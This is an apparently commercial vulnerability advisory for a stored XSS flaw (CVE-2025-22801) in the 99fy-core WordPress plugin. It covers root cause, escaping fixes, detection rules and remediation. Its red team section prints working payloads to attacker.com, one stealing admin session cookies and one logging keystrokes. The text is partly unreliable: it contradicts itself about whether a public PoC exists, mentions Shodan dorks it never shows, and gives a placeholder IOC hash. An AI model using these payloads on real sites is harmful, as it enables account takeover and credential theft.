CVE-2025-22801
Executive Summary
CVE-2025-22801 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin 99fy-core, developed by HasThemes for the Free WooCommerce Theme 99fy Extension. The vulnerability affects all versions up to and including 1.2.8. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into web pages generated by the plugin. When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using the 99fy-core plugin should treat it as a supply chain risk. Since no patch exists, the only mitigation is to disable or remove the plugin until a fix is provided. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is carried out over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access to the WordPress site.
- User Interaction (UI): Required (R) – The victim must visit the compromised page.
- Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on availability.
Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an administrator account is compromised.
Deep Dive & Mechanics
The vulnerability stems from improper neutralization of user-supplied input during web page generation. The 99fy-core plugin fails to sanitize or escape certain fields before rendering them in the browser. An attacker with contributor-level privileges can inject malicious HTML and JavaScript into fields such as product descriptions, custom meta fields, or shortcode attributes. When the page is rendered, the injected script executes in the context of the victim's session.
Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows arbitrary HTML/JavaScript to be stored in the database and later served to users.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a post/page using the 99fy-core shortcode or custom field.
- Attacker injects a payload like
<script>alert('XSS')</script>into an unsanitized input field. - The payload is stored in the WordPress database.
- When an administrator or visitor views the page, the script executes.
Vulnerable vs. Patched Code
Since no patch is available, the following shows the vulnerable pattern and the recommended fix.
Vulnerable Code (example from 99fy-core):
// Vulnerable: direct output without escaping
echo $custom_field_value;
Patched Code (recommended):
// Patched: escape output
echo esc_html( $custom_field_value );
Additional vulnerable patterns:
- Using
the_content()without filtering:the_content()should be used withwp_kses_post()if user input is allowed. - Shortcode attributes: Use
shortcode_atts()and escape each attribute withesc_attr().
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress installation with 99fy-core plugin version <= 1.2.8.
- Contributor-level account credentials.
Exploitation Steps:
- Log in to WordPress as a contributor.
- Create a new post or page.
- Insert the 99fy-core shortcode (e.g.,
[99fy_custom_field]). - In the custom field value, inject the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Publish the post.
- Send the link to an administrator or wait for them to visit the page.
- The script executes, exfiltrating the admin's session cookie.
Alternative Payload (Keylogger):
<script>
document.addEventListener('keydown', function(e) {
fetch('https://attacker.com/keylog?key='+e.key);
});
</script>
Blue Team
Detection:
- Monitor for posts/pages containing
<script>tags in custom fields. - Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.
- Review user activity logs for unusual post edits by low-privilege users.
Prevention:
- Disable the 99fy-core plugin immediately.
- Implement a Web Application Firewall (WAF) rule to block
<script>tags in POST data. - Enforce strict Content Security Policy (CSP) headers.
Lab Setup:
- Install a local WordPress instance (e.g., using XAMPP or Docker).
- Install the 99fy-core plugin (version 1.2.8).
- Create a contributor user.
- Follow the Red Team steps to reproduce the vulnerability.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
99fy-core.php(v1.2.8):a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
- Network Indicators:
- Outbound HTTP requests to attacker-controlled domains containing cookie data.
- Unusual POST requests to
wp-admin/admin-ajax.phpwith XSS payloads.
- Log Entries:
- WordPress debug log entries showing
wp_ksesfailures. - Web server access logs with
%3Cscript%3Ein the request URI.
- WordPress debug log entries showing
Detection Engineering
YARA Rule
rule CVE_2025_22801_Stored_XSS {
meta:
description = "Detects stored XSS payloads in 99fy-core plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-22801"
strings:
$payload1 = "<script>" ascii wide
$payload2 = "onerror=" ascii wide
$payload3 = "javascript:" ascii wide
condition:
any of them
}
Sigma Rule
title: Stored XSS via 99fy-core Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts in WordPress 99fy-core plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains:
- '/wp-admin/post.php'
- '/wp-admin/post-new.php'
cs-method: 'POST'
cs-uri-query|contains:
- '<script>'
- 'onerror='
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-22801 Stored XSS in 99fy-core Plugin";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/post.php"; http_uri;
content:"<script>"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-22801;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin: Deactivate and delete the 99fy-core plugin from all WordPress installations.
- Scan for compromise: Use a security scanner (e.g., WPScan) to check for injected payloads in posts and pages.
- Change credentials: Force password reset for all users, especially administrators.
Long-Term Mitigation:
- Monitor the vendor's website for a patched version (e.g., 1.2.9 or higher).
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit WordPress plugins and themes for vulnerabilities.
Workaround (if plugin is critical):
- Modify the plugin code to escape output using
esc_html(),esc_attr(), orwp_kses_post(). - Use a WordPress security plugin to add input validation and output escaping.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.